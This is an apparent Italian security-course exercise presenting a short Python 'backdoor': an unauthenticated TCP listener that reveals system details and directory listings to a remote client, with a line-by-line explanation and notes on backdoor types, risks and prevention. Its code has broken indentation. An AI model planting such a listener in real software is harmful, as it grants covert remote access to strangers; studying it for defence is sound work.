S3/L4

BACKDOOR

Script in Python di una backdoor

```python
import socket, platform, os

SRV_ADDR = ''
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print(f"Client connected: {address}")

while 1:
    try:
        data = connection.recv(1024)
    except: continue

    if data.decode('utf-8') == '1':
        tosend = platform.platform() + " - " + platform.machine()
        connection.sendall(tosend.encode())
        data = connection.recv(1024)
    elif data.decode('utf-8') == '2':
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = " ".join(filelist)
            except:
                tosend = "wrong path"
            connection.sendall(tosend.encode())
        elif (data.decode('utf-8') == '0'):
            connection.close()
            connection, address = s.accept()
```

Spiegazione codice

1. Importazione delle librerie:

```
1  import socket, platform, os
2
```

Vengono importate le librerie necessarie: ‘socket’ per la comunicazione di rete, ‘platform’ per ottenere informazioni sul sistema operativo, e ‘os’ per interagire con il file system.

2. Configurazione del server:

```
3  SRV_ADDR = ''
4  SRV_PORT = 1234
5
```

Viene configurato l'indirizzo del server (SRV_ADDR) e la porta (SRV_PORT) su cui il server ascolterà le connessioni.

3. Creazione del socket

```
6  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
7  s.bind((SRV_ADDR, SRV_PORT))
8  s.listen(1)
9  connection, address = s.accept()
10
11 print(f"Client connected: {address}")
12
```

Viene creato un socket di tipo TCP/IP (AF_INET, SOCK_STREAM), legato all'indirizzo e porta specificati, e impostato per ascoltare le connessioni. Il server accetta la prima connessione entrante.

4. Stampa dell’inizio del client connesso:

```
10
11 print(f"Client connected: {address}")
12
```

Stampa l'indirizzo del client che si è connesso al server.

Spiegazione codice

5. Loop principale:

```
while 1:
    try:
        data = connection.recv(1024)
    except: continue
```

Un loop infinito che attende i dati dal client. Se c'è un errore nella ricezione, il loop continua senza interrompersi.

6. Gestione dei comandi ricevuti:

```
if data.decode('utf-8') == '1':
    tosend = platform.platform() + " - " + platform.machine()
    connection.sendall(tosend.encode())
    data = connection.recv(1024)
elif data.decode('utf-8') == '2':
    data = connection.recv(1024)
    try:
        filelist = os.listdir(data.decode('utf-8'))
        tosend = " ".join(filelist)
        except:
            tosend = "wrong path"
        connection.sendall(tosend.encode())
    elif (data.decode('utf-8') == '0'):
        connection.close()
        connection, address = s.accept()
```

Il server gestisce due comandi:

- Se riceve 1, invia al client informazioni sul sistema operativo e sull'architettura della macchina.
- Se riceve 2, tenta di listare i file nella directory specificata dal client. Se non riesce, invia al client un messaggio di errore.

Backdoor

Cos'è una Backdoor?

Una backdoor è un metodo per bypassare le normali autenticazioni e controlli di sicurezza di un sistema informatico. Permette a un utente non autorizzato di ottenere l'accesso al sistema in modo nascosto. Le backdoor possono essere installate da malware, ma possono anche essere inserite intenzionalmente da sviluppatori per vari scopi, come manutenzione o emergenze. Le backdoor rappresentano una seria minaccia alla sicurezza dei sistemi informatici. È essenziale adottare misure preventive e mantenere una vigilanza costante per proteggere le risorse e i dati sensibili da accessi non autorizzati.

Tipi di Backdoor

- **Backdoor Software**: Inserite nel software per permettere l'accesso remoto.
- **Backdoor Hardware**: Incorporate nei componenti hardware per consentire il controllo del dispositivo.
- **Backdoor di Rete**: Utilizzano porte di rete per stabilire connessioni remote non autorizzate.

Rischi delle Backdoor

- **Sicurezza**: Le backdoor compromettono la sicurezza del sistema, permettendo accessi non autorizzati.
- **Furto di Dati**: Gli intrusi possono rubare dati sensibili e informazioni personali.
- **Controllo Remoto**: Gli attaccanti possono controllare il sistema da remoto, eseguendo comandi e modificando file.
- **Danno alla Reputazione**: La scoperta di una backdoor può danneggiare gravemente la reputazione di un'organizzazione.

Prevenzione

- **Controlli di Sicurezza**: Implementare controlli rigorosi di autenticazione e autorizzazione.
- **Monitoraggio**: Utilizzare sistemi di monitoraggio per rilevare attività sospette.
- **Aggiornamenti Software**: Mantenere i sistemi aggiornati con le ultime patch di sicurezza.
- **Verifiche**: Eseguire verifiche regolari del codice e delle infrastrutture per individuare eventuali backdoor.